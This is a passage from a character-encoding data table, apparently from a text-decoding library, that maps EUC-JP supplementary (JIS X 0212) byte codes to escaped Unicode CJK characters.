u5261\u5266\u526E\u5277\u5278\u5279\u5280\u5282\u5285\u528A\u528C\u5293\u5295\u5296\u5297\u5298\u529A\u529C\u52A4\u52A5\u52A6\u52A7\u52AF\u52B0\u52B6\u52B7\u52B8\u52BA\u52BB\u52BD\u52C0\u52C4\u52C6\u52C8\u52CC\u52CF\u52D1\u52D4\u52D6\u52DB\u52DC\u52E1\u52E5\u52E8\u52E9\u52EA\u52EC\u52F0\u52F1\u52F4\u52F6\u52F7\u5300\u5303\u530A\u530B"],["8fb4a1","\u530C\u5311\u5313\u5318\u531B\u531C\u531E\u531F\u5325\u5327\u5328\u5329\u532B\u532C\u532D\u5330\u5332\u5335\u533C\u533D\u533E\u5342\u534C\u534B\u5359\u535B\u5361\u5363\u5365\u536C\u536D\u5372\u5379\u537E\u5383\u5387\u5388\u538E\u5393\u5394\u5399\u539D\u53A1\u53A4\u53AA\u53AB\u53AF\u53B2\u53B4\u53B5\u53B7\u53B8\u53BA\u53BD\u53C0\u53C5\u53CF\u53D2\u53D3\u53D5\u53DA\u53DD\u53DE\u53E0\u53E6\u53E7\u53F5\u5402\u5413\u541A\u5421\u5427\u5428\u542A\u542F\u5431\u5434\u5435\u5443\u5444\u5447\u544D\u544F\u545E\u5462\u5464\u5466\u5467\u5469\u546B\u546D\u546E\u5474\u547F"],["8fb5a1","\u5481\u5483\u5485\u5488\u5489\u548D\u5491\u5495\u5496\u549C\u549F\u54A1\u54A6\u54A7\u54A9\u54AA\u54AD\u54AE\u54B1\u54B7\u54B9\u54BA\u54BB\u54BF\u54C6\u54CA\u54CD\u54CE\u54E0\u54EA\u54EC\u54EF\u54F6\u54FC\u54FE\u54FF\u5500\u5501\u5505\u5508\u5509\u550C\u550D\u550E\u5515\u552A\u552B\u5532\u5535\u5536\u553B\u553C\u553D\u5541\u5547\u5549\u554A\u554D\u5550\u5551\u5558\u555A\u555B\u555E\u5560\u5561\u5564\u5566\u557F\u5581\u5582\u5586\u5588\u558E\u558F\u5591\u5592\u5593\u5594\u5597\u55A3\u55A4\u55AD\u55B2\u55BF\u55C1\u55C3\u55C6\u55C9\u55CB\u55CC\u55CE\u55D1\u55D2"],["8fb6a1","\u55D3\u55D7\u55D8\u55DB\u55DE\u55E2\u55E9\u55F6\u55FF\u5605\u5608\u560A\u560D",5,"\u5619\u562C\u5630\u5633\u5635\u5637\u5639\u563B\u563C\u563D\u563F\u5640\u5641\u5643\u5644\u5646\u5649\u564B\u564D\u564F\u5654\u565E\u5660\u5661\u5662\u5663\u5666\u5669\u566D\u566F\u5671\u5672\u5675\u5684\u5685\u5688\u568B\u568C\u5695\u5699\u569A\u569D\u569E\u569F\u56A6\u56A7\u56A8\u56A9\u56AB\u56AC\u56AD\u56B1\u56B3\u56B7\u56BE\u56C5\u56C9\u56CA\u56CB\u56CF\u56D0\u56CC\u56CD\u56D9\u56DC\u56DD\u56DF\u56E1\u56E4",4,"\u56F1\u56EB\u56ED"],["8fb7a1","\u56F6\u56F7\u5701\u5702\u5707\u570A\u570C\u5711\u5715\u571A\u571B\u571D\u5720\u5722\u5723\u5724\u5725\u5729\u572A\u572C\u572E\u572F\u5733\u5734\u573D\u573E\u573F\u5745\u5746\u574C\u574D\u5752\u5762\u5765\u5767\u5768\u576B\u576D",4,"\u5773\u5774\u5775\u5777\u5779\u577A\u577B\u577C\u577E\u5781\u5783\u578C\u5794\u5797\u5799\u579A\u579C\u579D\u579E\u579F\u57A1\u5795\u57A7\u57A8\u57A9\u57AC\u57B8\u57BD\u57C7\u57C8\u57CC\u57CF\u57D5\u57DD\u57DE\u57E4\u57E6\u57E7\u57E9\u57ED\u57F0\u57F5\u57F6\u57F8\u57FD\u57FE\u57FF\u5803\u5804\u5808\u5809\u57E1"],["8fb8a1","\u580C\u580D\u581B\u581E\u581F\u5820\u5826\u5827\u582D\u5832\u5839\u583F\u5849\u584C\u584D\u584F\u5850\u5855\u585F\u5861\u5864\u5867\u5868\u5878\u587C\u587F\u5880\u5881\u5887\u5888\u5889\u588A\u588C\u588D\u588F\u5890\u5894\u5896\u589D\u58A0\u58A1\u58A2\u58A6\u58A9\u58B1\u58B2\u58C4\u58BC\u58C2\u58C8\u58CD\u58CE\u58D0\u58D2\u58D4\u58D6\u58DA\u58DD\u58E1\u58E2\u58E9\u58F3\u5905\u5906\u590B\u590C\u5912\u5913\u5914\u8641\u591D\u5921\u5923\u5924\u5928\u592F\u5930\u5933\u5935\u5936\u593F\u5943\u5946\u5952\u5953\u5959\u595B\u595D\u595E\u595F\u5961\u5963\u596B\u596D"],["8fb9a1","\u596F\u5972\u5975\u5976\u5979\u597B\u597C\u598B\u598C\u598E\u5992\u5995\u5997\u599F\u59A4\u59A7\u59AD\u59AE\u59AF\u59B0\u59B3\u59B7\u59BA\u59BC\u59C1\u59C3\u59C4\u59C8\u59CA\u59CD\u59D2\u59DD\u59DE\u59DF\u59E3\u59E4\u59E7\u59EE\u59EF\u59F1\u59F2\u59F4\u59F7\u5A00\u5A04\u5A0C\u5A0D\u5A0E\u5A12\u5A13\u5A1E\u5A23\u5A24\u5A27\u5A28\u5A2A\u5A2D\u5A30\u5A44\u5A45\u5A47\u5A48\u5A4C\u5A50\u5A55\u5A5E\u5A63\u5A65\u5A67\u5A6D\u5A77\u5A7A\u5A7B\u5A7E\u5A8B\u5A90\u5A93\u5A96\u5A99\u5A9C\u5A9E\u5A9F\u5AA0\u5AA2\u5AA7\u5AAC\u5AB1\u5AB2\u5AB3\u5AB5\u5AB8\u5ABA\u5ABB\u5ABF"],["8fbaa1","\u5AC4\u5AC6\u5AC8\u5ACF\u5ADA\u5ADC\u5AE0\u5AE5\u5AEA\u5AEE\u5AF5\u5AF6\u5AFD\u5B00\u5B01\u5B08\u5B17\u5B34\u5B19\u5B1B\u5B1D\u5B21\u5B25\u5B2D\u5B38\u5B41\u5B4B\u5B4C\u5B52\u5B56\u5B5E\u5B68\u5B6E\u5B6F\u5B7C\u5B7D\u5B7E\u5B7F\u5B81\u5B84\u5B86\u5B8A\u5B8E\u5B90\u5B91\u5B93\u5B94\u5B96\u5BA8\u5BA9\u5BAC\u5BAD\u5BAF\u5BB1\u5BB2\u5BB7\u5BBA\u5BBC\u5BC0\u5BC1\u5BCD\u5BCF\u5BD6",4,"\u5BE0\u5BEF\u5BF1\u5BF4\u5BFD\u5C0C\u5C17\u5C1E\u5C1F\u5C23\u5C26\u5C29\u5C2B\u5C2C\u5C2E\u5C30\u5C32\u5C35\u5C36\u5C59\u5C5A\u5C5C\u5C62\u5C63\u5C67\u5C68\u5C69"],["8fbba1","\u5C6D\u5C70\u5C74\u5C75\u5C7A\u5C7B\u5C7C\u5C7D\u5C87\u5C88\u5C8A\u5C8F\u5C92\u5C9D\u5C9F\u5CA0\u5CA2\u5CA3\u5CA6\u5CAA\u5CB2\u5CB4\u5CB5\u5CBA\u5CC9\u5CCB\u5CD2\u5CDD\u5CD7\u5CEE\u5CF1\u5CF2\u5CF4\u5D01\u5D06\u5D0D\u5D12\u5D2B\u5D23\u5D24\u5D26\u5D27\u5D31\u5D34\u5D39\u5D3D\u5D3F\u5D42\u5D43\u5D46\u5D48\u5D55\u5D51\u5D59\u5D4A\u5D5F\u5D60\u5D61\u5D62\u5D64\u5D6A\u5D6D\u5D70\u5D79\u5D7A\u5D7E\u5D7F\u5D81\u5D83\u5D88\u5D8A\u5D92\u5D93\u5D94\u5D95\u5D99\u5D9B\u5D9F\u5DA0\u5DA7\u5DAB\u5DB0\u5DB4\u5DB8\u5DB9\u5DC3\u5DC7\u5DCB\u5DD0\u5DCE\u5DD8\u5DD9\u5DE0\u5DE4"],["8fbca1","\u5DE9\u5DF8\u5DF9\u5E00\u5E07\u5E0D\u5E12\u5E14\u5E15\u5E18\u5E1F\u5E20\u5E2E\u5E28\u5E32\u5E35\u5E3E\u5E4B\u5E50\u5E49\u5E51\u5E56\u5E58\u5E5B\u5E5C\u5E5E\u5E68\u5E6A",4,"\u5E70\u5E80\u5E8B\u5E8E\u5EA2\u5EA4\u5EA5\u5EA8\u5EAA\u5EAC\u5EB1\u5EB3\u5EBD\u5EBE\u5EBF\u5EC6\u5ECC\u5ECB\u5ECE\u5ED1\u5ED2\u5ED4\u5ED5\u5EDC\u5EDE\u5EE5\u5EEB\u5F02\u5F06\u5F07\u5F08\u5F0E\u5F19\u5F1C\u5F1D\u5F21\u5F22\u5F23\u5F24\u5F28\u5F2B\u5F2C\u5F2E\u5F30\u5F34\u5F36\u5F3B\u5F3D\u5F3F\u5F40\u5F44\u5F45\u5F47\u5F4D\u5F50\u5F54\u5F58\u5F5B\u5F60\u5F63\u5F64\u5F67"],["8fbda1","\u5F6F\u5F72\u5F74\u5F75\u5F78\u5F7A\u5F7D\u5F7E\u5F89\u5F8D\u5F8F\u5F96\u5F9C\u5F9D\u5FA2\u5FA7\u5FAB\u5FA4\u5FAC\u5FAF\u5FB0\u5FB1\u5FB8\u5FC4\u5FC7\u5FC8\u5FC9\u5FCB\u5FD0",4,"\u5FDE\u5FE1\u5FE2\u5FE8\u5FE9\u5FEA\u5FEC\u5FED\u5FEE\u5FEF\u5FF2\u5FF3\u5FF6\u5FFA\u5FFC\u6007\u600A\u600D\u6013\u6014\u6017\u6018\u601A\u601F\u6024\u602D\u6033\u6035\u6040\u6047\u6048\u6049\u604C\u6051\u6054\u6056\u6057\u605D\u6061\u6067\u6071\u607E\u607F\u6082\u6086\u6088\u608A\u608E\u6091\u6093\u6095\u6098\u609D\u609E\u60A2\u60A4\u60A5\u60A8\u60B0\u60B1\u60B7"],["8fbea1","\u60BB\u60BE\u60C2\u60C4\u60C8\u60C9\u60CA\u60CB\u60CE\u60CF\u60D4\u60D5\u60D9\u60DB\u60DD\u60DE\u60E2\u60E5\u60F2\u60F5\u60F8\u60FC\u60FD\u6102\u6107\u610A\u610C\u6110",4,"\u6116\u6117\u6119\u611C\u611E\u6122\u612A\u612B\u6130\u6131\u6135\u6136\u6137\u6139\u6141\u6145\u6146\u6149\u615E\u6160\u616C\u6172\u6178\u617B\u617C\u617F\u6180\u6181\u6183\u6184\u618B\u618D\u6192\u6193\u6197\u6198\u619C\u619D\u619F\u61A0\u61A5\u61A8\u61AA\u61AD\u61B8\u61B9\u61BC\u61C0\u61C1\u61C2\u61CE\u61CF\u61D5\u61DC\u61DD\u61DE\u61DF\u61E1\u61E2\u61E7\u61E9\u61E5"],["8fbfa1","\u61EC\u61ED\u61EF\u6201\u6203\u6204\u6207\u6213\u6215\u621C\u6220\u6222\u6223\u6227\u6229\u622B\u6239\u623D\u6242\u6243\u6244\u6246\u624C\u6250\u6251\u6252\u6254\u6256\u625A\u625C\u6264\u626D\u626F\u6273\u627A\u627D\u628D\u628E\u628F\u6290\u62A6\u62A8\u62B3\u62B6\u62B7\u62BA\u62BE\u62BF\u62C4\u62CE\u62D5\u62D6\u62DA\u62EA\u62F2\u62F4\u62FC\u62FD\u6303\u6304\u630A\u630B\u630D\u6310\u6313\u6316\u6318\u6329\u632A\u632D\u6335\u6336\u6339\u633C\u6341\u6342\u6343\u6344\u6346\u634A\u634B\u634E\u6352\u6353\u6354\u6358\u635B\u6365\u6366\u636C\u636D\u6371\u6374\u6375"],["8fc0a1","\u6378\u637C\u637D\u637F\u6382\u6384\u6387\u638A\u6390\u6394\u6395\u6399\u639A\u639E\u63A4\u63A6\u63AD\u63AE\u63AF\u63BD\u63C1\u63C5\u63C8\u63CE\u63D1\u63D3\u63D4\u63D5\u63DC\u63E0\u63E5\u63EA\u63EC\u63F2\u63F3\u63F5\u63F8\u63F9\u6409\u640A\u6410\u6412\u6414\u6418\u641E\u6420\u6422\u6424\u6425\u6429\u642A\u642F\u6430\u6435\u643D\u643F\u644B\u644F\u6451\u6452\u6453\u6454\u645A\u645B\u645C\u645D\u645F\u6460\u6461\u6463\u646D\u6473\u6474\u647B\u647D\u6485\u6487\u648F\u6490\u6491\u6498\u6499\u649B\u649D\u649F\u64A1\u64A3\u64A6\u64A8\u64AC\u64B3\u64BD\u64BE\u64BF"],["8fc1a1","\u64C4\u64C9\u64CA\u64CB\u64CC\u64CE\u64D0\u64D1\u64D5\u64D7\u64E4\u64E5\u64E9\u64EA\u64ED\u64F0\u64F5\u64F7\u64FB\u64FF\u6501\u6504\u6508\u6509\u650A\u650F\u6513\u6514\u6516\u6519\u651B\u651E\u651F\u6522\u6526\u6529\u652E\u6531\u653A\u653C\u653D\u6543\u6547\u6549\u6550\u6552\u6554\u655F\u6560\u6567\u656B\u657A\u657D\u6581\u6585\u658A\u6592\u6595\u6598\u659D\u65A0\u65A3\u65A6\u65AE\u65B2\u65B3\u65B4\u65BF\u65C2\u65C8\u65C9\u65CE\u65D0\u65D4\u65D6\u65D8\u65DF\u65F0\u65F2\u65F4\u65F5\u65F9\u65FE\u65FF\u6600\u6604\u6608\u6609\u660D\u6611\u6612\u6615\u6616\u661D"],["8fc2a1","\u661E\u6621\u6622\u6623\u6624\u6626\u6629\u662A\u662B\u662C\u662E\u6630\u6631\u6633\u6639\u6637\u6640\u6645\u6646\u664A\u664C\u6651\u664E\u6657\u6658\u6659\u665B\u665C\u6660\u6661\u66FB\u666A\u666B\u666C\u667E\u6673\u6675\u667F\u6677\u6678\u6679\u667B\u6680\u667C\u668B\u668C\u668D\u6690\u6692\u6699\u669A\u669B\u669C\u669F\u66A0\u66A4\u66AD\u66B1\u66B2\u66B5\u66BB\u66BF\u66C0\u66C2\u66C3\u66C8\u66CC\u66CE\u66CF\u66D4\u66DB\u66DF\u66E8\u66EB\u66EC\u66EE\u66FA\u6705\u6707\u670E\u6713\u6719\u671C\u6720\u6722\u6733\u673E\u6745\u6747\u6748\u674C\u6754\u6755\u675D"],["8fc3a1","\u6766\u676C\u676E\u6774\u6776\u677B\u6781\u6784\u678E\u678F\u6791\u6793\u6796\u6798\u6799\u679B\u67B0\u67B1\u67B2\u67B5\u67BB\u67BC\u67BD\u67F9\u67C0\u67C2\u67C3\u67C5\u67C8\u67C9\u67D2\u67D7\u67D9\u67DC\u67E1\u67E6\u67F0\u67F2\u67F6\u67F7\u6852\u6814\u6819\u681D\u681F\u6828\u6827\u682C\u682D\u682F\u6830\u6831\u6833\u683B\u683F\u6844\u6845\u684A\u684C\u6855\u6857\u6858\u685B\u686B\u686E",4,"\u6875\u6879\u687A\u687B\u687C\u6882\u6884\u6886\u6888\u6896\u6898\u689A\u689C\u68A1\u68A3\u68A5\u68A9\u68AA\u68AE\u68B2\u68BB\u68C5\u68C8\u68CC\u68CF"],["8fc4a1","\u68D0\u68D1\u68D3\u68D6\u68D9\u68DC\u68DD\u68E5\u68E8\u68EA\u68EB\u68EC\u68ED\u68F0\u68F1\u68F5\u68F6\u68FB\u68FC\u68FD\u6906\u6909\u690A\u6910\u6911\u6913\u6916\u6917\u6931\u6933\u6935\u6938\u693B\u6942\u6945\u6949\u694E\u6957\u695B\u6963\u6964\u6965\u6966\u6968\u6969\u696C\u6970\u6971\u6972\u697A\u697B\u697F\u6980\u698D\u6992\u6996\u6998\u69A1\u69A5\u69A6\u69A8\u69AB\u69AD\u69AF\u69B7\u69B8\u69BA\u69BC\u69C5\u69C8\u69D1\u69D6\u69D7\u69E2\u69E5\u69EE\u69EF\u69F1\u69F3\u69F5\u69FE\u6A00\u6A01\u6A03\u6A0F\u6A11\u6A15\u6A1A\u6A1D\u6A20\u6A24\u6A28\u6A30\u6A32"],["8fc5a1","\u6A34\u6A37\u6A3B\u6A3E\u6A3F\u6A45\u6A46\u6A49\u6A4A\u6A4E\u6A50\u6A51\u6A52\u6A55\u6A56\u6A5B\u6A64\u6A67\u6A6A\u6A71\u6A73\u6A7E\u6A81\u6A83\u6A86\u6A87\u6A89\u6A8B\u6A91\u6A9B\u6A9D\u6A9E\u6A9F\u6AA5\u6AAB\u6AAF\u6AB0\u6AB1\u6AB4\u6ABD\u6ABE\u6ABF\u6AC6\u6AC9\u6AC8\u6ACC\u6AD0\u6AD4\u6AD5\u6AD6\u6ADC\u6ADD\u6AE4\u6AE7\u6AEC\u6AF0\u6AF1\u6AF2\u6AFC\u6AFD\u6B02\u6B03\u6B06\u6B07\u6B09\u6B0F\u6B10\u6B11\u6B17\u6B1B\u6B1E\u6B24\u6B28\u6B2B\u6B2C\u6B2F\u6B35\u6B36\u6B3B\u6B3F\u6B46\u6B4A\u6B4D\u6B52\u6B56\u6B58\u6B5D\u6B60\u6B67\u6B6B\u6B6E\u6B70\u6B75\u6B7D"],["8fc6a1","\u6B7E\u6B82\u6B85\u6B97\u6B9B\u6B9F\u6BA0\u6BA2\u6BA3\u6BA8\u6BA9\u6BAC\u6BAD\u6BAE\u6BB0\u6BB8\u6BB9\u6BBD\u6BBE\u6BC3\u6BC4\u6BC9\u6BCC\u6BD6\u6BDA\u6BE1\u6BE3\u6BE6\u6BE7\u6BEE\u6BF1\u6BF7\u6BF9\u6BFF\u6C02\u6C04\u6C05\u6C09\u6C0D\u6C0E\u6C10\u6C12\u6C19\u6C1F\u6C26\u6C27\u6C28\u6C2C\u6C2E\u6C33\u6C35\u6C36\u6C3A\u6C3B\u6C3F\u6C4A\u6C4B\u6C4D\u6C4F\u6C52\u6C54\u6C59\u6C5B\u6C5C\u6C6B\u6C6D\u6C6F\u6C74\u6C76\u6C78\u6C79\u6C7B\u6C85\u6C86\u6C87\u6C89\u6C94\u6C95\u6C97\u6C98\u6C9C\u6C9F\u6CB0\u6CB2\u6CB4\u6CC2\u6CC6\u6CCD\u6CCF\u6CD0\u6CD1\u6CD2\u6CD4\u6CD6"],["8fc7a1","\u6CDA\u6CDC\u6CE0\u6CE7\u6CE9\u6CEB\u6CEC\u6CEE\u6CF2\u6CF4\u6D04\u6D07\u6D0A\u6D0E\u6D0F\u6D11\u6D13\u6D1A\u6D26\u6D27\u6D28\u6C67\u6D2E\u6D2F\u6D31\u6D39\u6D3C\u6D3F\u6D57\u6D5E\u6D5F\u6D61\u6D65\u6D67\u6D6F\u6D70\u6D7C\u6D82\u6D87\u6D91\u6D92\u6D94\u6D96\u6D97\u6D98\u6DAA\u6DAC\u6DB4\u6DB7\u6DB9\u6DBD\u6DBF\u6DC4\u6DC8\u6DCA\u6DCE\u6DCF\u6DD6\u6DDB\u6DDD\u6DDF\u6DE0\u6DE2\u6DE5\u6DE9\u6DEF\u6DF0\u6DF4\u6DF6\u6DFC\u6E00\u6E04\u6E1E\u6E22\u6E27\u6E32\u6E36\u6E39\u6E3B\u6E3C\u6E44\u6E45\u6E48\u6E49\u6E4B\u6E4F\u6E51\u6E52\u6E53\u6E54\u6E57\u6E5C\u6E5D\u6E5E"],["8fc8a1","\u6E62\u6E63\u6E68\u6E73\u6E7B\u6E7D\u6E8D\u6E93\u6E99\u6EA0\u6EA7\u6EAD\u6EAE\u6EB1\u6EB3\u6EBB\u6EBF\u6EC0\u6EC1\u6EC3\u6EC7\u6EC8\u6ECA\u6ECD\u6ECE\u6ECF\u6EEB\u6EED\u6EEE\u6EF9\u6EFB\u6EFD\u6F04\u6F08\u6F0A\u6F0C\u6F0D\u6F16\u6F18\u6F1A\u6F1B\u6F26\u6F29\u6F2A\u6F2F\u6F30\u6F33\u6F36\u6F3B\u6F3C\u6F2D\u6F4F\u6F51\u6F52\u6F53\u6F57\u6F59\u6F5A\u6F5D\u6F5E\u6F61\u6F62\u6F68\u6F6C\u6F7D\u6F7E\u6F83\u6F87\u6F88\u6F8B\u6F8C\u6F8D\u6F90\u6F92\u6F93\u6F94\u6F96\u6F9A\u6F9F\u6FA0\u6FA5\u6FA6\u6FA7\u6FA8\u6FAE\u6FAF\u6FB0\u6FB5\u6FB6\u6FBC\u6FC5\u6FC7\u6FC8\u6FCA"],["8fc9a1","\u6FDA\u6FDE\u6FE8\u6FE9\u6FF0\u6FF5\u6FF9\u6FFC\u6FFD\u7000\u7005\u7006\u7007\u700D\u7017\u7020\u7023\u702F\u7034\u7037\u7039\u703C\u7043\u7044\u7048\u7049\u704A\u704B\u7054\u7055\u705D\u705E\u704E\u7064\u7065\u706C\u706E\u7075\u7076\u707E\u7081\u7085\u7086\u7094",4,"\u709B\u70A4\u70AB\u70B0\u70B1\u70B4\u70B7\u70CA\u70D1\u70D3\u70D4\u70D5\u70D6\u70D8\u70DC\u70E4\u70FA\u7103",4,"\u710B\u710C\u710F\u711E\u7120\u712B\u712D\u712F\u7130\u7131\u7138\u7141\u7145\u7146\u7147\u714A\u714B\u7150\u7152\u7157\u715A\u715C\u715E\u7160"],["8fcaa1","\u7168\u7179\u7180\u7185\u7187\u718C\u7192\u719A\u719B\u71A0\u71A2\u71AF\u71B0\u71B2\u71B3\u71BA\u71BF\u71C0\u71C1\u71C4\u71CB\u71CC\u71D3\u71D6\u71D9\u71DA\u71DC\u71F8\u71FE\u7200\u7207\u7208\u7209\u7213\u7217\u721A\u721D\u721F\u7224\u722B\u722F\u7234\u7238\u7239\u7241\u7242\u7243\u7245\u724E\u724F\u7250\u7253\u7255\u7256\u725A\u725C\u725E\u7260\u7263\u7268\u726B\u726E\u726F\u7271\u7277\u7278\u727B\u727C\u727F\u7284\u7289\u728D\u728E\u7293\u729B\u72A8\u72AD\u72AE\u72B1\u72B4\u72BE\u72C1\u72C7\u72C9\u72CC\u72D5\u72D6\u72D8\u72DF\u72E5\u72F3\u72F4\u72FA\u72FB"],["8fcba1","\u72FE\u7302\u7304\u7305\u7307\u730B\u730D\u7312\u7313\u7318\u7319\u731E\u7322\u7324\u7327\u7328\u732C\u7331\u7332\u7335\u733A\u733B\u733D\u7343\u734D\u7350\u7352\u7356\u7358\u735D\u735E\u735F\u7360\u7366\u7367\u7369\u736B\u736C\u736E\u736F\u7371\u7377\u7379\u737C\u7380\u7381\u7383\u7385\u7386\u738E\u7390\u7393\u7395\u7397\u7398\u739C\u739E\u739F\u73A0\u73A2\u73A5\u73A6\u73AA\u73AB\u73AD\u73B5\u73B7\u73B9\u73BC\u73BD\u73BF\u73C5\u73C6\u73C9\u73CB\u73CC\u73CF\u73D2\u73D3\u73D6\u73D9\u73DD\u73E1\u73E3\u73E6\u73E7\u73E9\u73F4\u73F5\u73F7\u73F9\u73FA\u73FB\u73FD"],["8fcca1","\u73FF\u7400\u7401\u7404\u7407\u740A\u7411\u741A\u741B\u7424\u7426\u7428",9,"\u7439\u7440\u7443\u7444\u7446\u7447\u744B\u744D\u7451\u7452\u7457\u745D\u7462\u7466\u7467\u7468\u746B\u746D\u746E\u7471\u7472\u7480\u7481\u7485\u7486\u7487\u7489\u748F\u7490\u7491\u7492\u7498\u7499\u749A\u749C\u749F\u74A0\u74A1\u74A3\u74A6\u74A8\u74A9\u74AA\u74AB\u74AE\u74AF\u74B1\u74B2\u74B5\u74B9\u74BB\u74BF\u74C8\u74C9\u74CC\u74D0\u74D3\u74D8\u74DA\u74DB\u74DE\u74DF\u74E4\u74E8\u74EA\u74EB\u74EF\u74F4\u74FA\u74FB\u74FC\u74FF\u7506"],["8fcda1","\u7512\u7516\u7517\u7520\u7521\u7524\u7527\u7529\u752A\u752F\u7536\u7539\u753D\u753E\u753F\u7540\u7543\u7547\u7548\u754E\u7550\u7552\u7557\u755E\u755F\u7561\u756F\u7571\u7579",5,"\u7581\u7585\u7590\u7592\u7593\u7595\u7599\u759C\u75A2\u75A4\u75B4\u75BA\u75BF\u75C0\u75C1\u75C4\u75C6\u75CC\u75CE\u75CF\u75D7\u75DC\u75DF\u75E0\u75E1\u75E4\u75E7\u75EC\u75EE\u75EF\u75F1\u75F9\u7600\u7602\u7603\u7604\u7607\u7608\u760A\u760C\u760F\u7612\u7613\u7615\u7616\u7619\u761B\u761C\u761D\u761E\u7623\u7625\u7626\u7629\u762D\u7632\u7633\u7635\u7638\u7639"],["8fcea1","\u763A\u763C\u764A\u7640\u7641\u7643\u7644\u7645\u7649\u764B\u7655\u7659\u765F\u7664\u7665\u766D\u766E\u766F\u7671\u7674\u7681\u7685\u768C\u768D\u7695\u769B\u769C\u769D\u769F\u76A0\u76A2",6,"\u76AA\u76AD\u76BD\u76C1\u76C5\u76C9\u76CB\u76CC\u76CE\u76D4\u76D9\u76E0\u76E6\u76E8\u76EC\u76F0\u76F1\u76F6\u76F9\u76FC\u7700\u7706\u770A\u770E\u7712\u7714\u7715\u7717\u7719\u771A\u771C\u7722\u7728\u772D\u772E\u772F\u7734\u7735\u7736\u7739\u773D\u773E\u7742\u7745\u7746\u774A\u774D\u774E\u774F\u7752\u7756\u7757\u775C\u775E\u775F\u7760\u7762"],["8fcfa1","\u7764\u7767\u776A\u776C\u7770\u7772\u7773\u7774\u777A\u777D\u7780\u7784\u778C\u778D\u7794\u7795\u7796\u779A\u779F\u77A2\u77A7\u77AA\u77AE\u77AF\u77B1\u77B5\u77BE\u77C3\u77C9\u77D1\u77D2\u77D5\u77D9\u77DE\u77DF\u77E0\u77E4\u77E6\u77EA\u77EC\u77F0\u77F1\u77F4\u77F8\u77FB\u7805\u7806\u7809\u780D\u780E\u7811\u781D\u7821\u7822\u7823\u782D\u782E\u7830\u7835\u7837\u7843\u7844\u7847\u7848\u784C\u784E\u7852\u785C\u785E\u7860\u7861\u7863\u7864\u7868\u786A\u786E\u787A\u787E\u788A\u788F\u7894\u7898\u78A1\u789D\u789E\u789F\u78A4\u78A8\u78AC\u78AD\u78B0\u78B1\u78B2\u78B3"],["8fd0a1","\u78BB\u78BD\u78BF\u78C7\u78C8\u78C9\u78CC\u78CE\u78D2\u78D3\u78D5\u78D6\u78E4\u78DB\u78DF\u78E0\u78E1\u78E6\u78EA\u78F2\u78F3\u7900\u78F6\u78F7\u78FA\u78FB\u78FF\u7906\u790C\u7910\u791A\u791C\u791E\u791F\u7920\u7925\u7927\u7929\u792D\u7931\u7934\u7935\u793B\u793D\u793F\u7944\u7945\u7946\u794A\u794B\u794F\u7951\u7954\u7958\u795B\u795C\u7967\u7969\u796B\u7972\u7979\u797B\u797C\u797E\u798B\u798C\u7991\u7993\u7994\u7995\u7996\u7998\u799B\u799C\u79A1\u79A8\u79A9\u79AB\u79AF\u79B1\u79B4\u79B8\u79BB\u79C2\u79C4\u79C7\u79C8\u79CA\u79CF\u79D4\u79D6\u79DA\u79DD\u79DE"],["8fd1a1","\u79E0\u79E2\u79E5\u79EA\u79EB\u79ED\u79F1\u79F8\u79FC\u7A02\u7A03\u7A07\u7A09\u7A0A\u7A0C\u7A11\u7A15\u7A1B\u7A1E\u7A21\u7A27\u7A2B\u7A2D\u7A2F\u7A30\u7A34\u7A35\u7A38\u7A39\u7A3A\u7A44\u7A45\u7A47\u7A48\u7A4C\u7A55\u7A56\u7A59\u7A5C\u7A5D\u7A5F\u7A60\u7A65\u7A67\u7A6A\u7A6D\u7A75\u7A78\u7A7E\u7A80\u7A82\u7A85\u7A86\u7A8A\u7A8B\u7A90\u7A91\u7A94\u7A9E\u7AA0\u7AA3\u7AAC\u7AB3\u7AB5\u7AB9\u7ABB\u7ABC\u7AC6\u7AC9\u7ACC\u7ACE\u7AD1\u7ADB\u7AE8\u7AE9\u7AEB\u7AEC\u7AF1\u7AF4\u7AFB\u7AFD\u7AFE\u7B07\u7B14\u7B1F\u7B23\u7B27\u7B29\u7B2A\u7B2B\u7B2D\u7B2E\u7B2F\u7B30"],["8fd2a1","\u7B31\u7B34\u7B3D\u7B3F\u7B40\u7B41\u7B47\u7B4E\u7B55\u7B60\u7B64\u7B66\u7B69\u7B6A\u7B6D\u7B6F\u7B72\u7B73\u7B77\u7B84\u7B89\u7B8E\u7B90\u7B91\u7B96\u7B9B\u7B9E\u7BA0\u7BA5\u7BAC\u7BAF\u7BB0\u7BB2\u7BB5\u7BB6\u7BBA\u7BBB\u7BBC\u7BBD\u7BC2\u7BC5\u7BC8\u7BCA\u7BD4\u7BD6\u7BD7\u7BD9\u7BDA\u7BDB\u7BE8\u7BEA\u7BF2\u7BF4\u7BF5\u7BF8\u7BF9\u7BFA\u7BFC\u7BFE\u7C01\u7C02\u7C03\u7C04\u7C06\u7C09\u7C0B\u7C0C\u7C0E\u7C0F\u7C19\u7C1B\u7C20\u7C25\u7C26\u7C28\u7C2C\u7C31\u7C33\u7C34\u7C36\u7C39\u7C3A\u7C46\u7C4A\u7C55\u7C51\u7C52\u7C53\u7C59",5],["8fd3a1","\u7C61\u7C63\u7C67\u7C69\u7C6D\u7C6E\u7C70\u7C72\u7C79\u7C7C\u7C7D\u7C86\u7C87\u7C8F\u7C94\u7C9E\u7CA0\u7CA6\u7CB0\u7CB6\u7CB7\u7CBA\u7CBB\u7CBC\u7CBF\u7CC4\u7CC7\u7CC8\u7CC9\u7CCD\u7CCF\u7CD3\u7CD4\u7CD5\u7CD7\u7CD9\u7CDA\u7CDD\u7CE6\u7CE9\u7CEB\u7CF5\u7D03\u7D07\u7D08\u7D09\u7D0F\u7D11\u7D12\u7D13\u7D16\u7D1D\u7D1E\u7D23\u7D26\u7D2A\u7D2D\u7D31\u7D3C\u7D3D\u7D3E\u7D40\u7D41\u7D47\u7D48\u7D4D\u7D51\u7D53\u7D57\u7D59\u7D5A\u7D5C\u7D5D\u7D65\u7D67\u7D6A\u7D70\u7D78\u7D7A\u7D7B\u7D7F\u7D81\u7D82\u7D83\u7D85\u7D86\u7D88\u7D8B\u7D8C\u7D8D\u7D91\u7D96\u7D97\u7D9D"],["8fd4a1","\u7D9E\u7DA6\u7DA7\u7DAA\u7DB3\u7DB6\u7DB7\u7DB9\u7DC2",4,"\u7DCC\u7DCD\u7DCE\u7DD7\u7DD9\u7E00\u7DE2\u7DE5\u7DE6\u7DEA\u7DEB\u7DED\u7DF1\u7DF5\u7DF6\u7DF9\u7DFA\u7E08\u7E10\u7E11\u7E15\u7E17\u7E1C\u7E1D\u7E20\u7E27\u7E28\u7E2C\u7E2D\u7E2F\u7E33\u7E36\u7E3F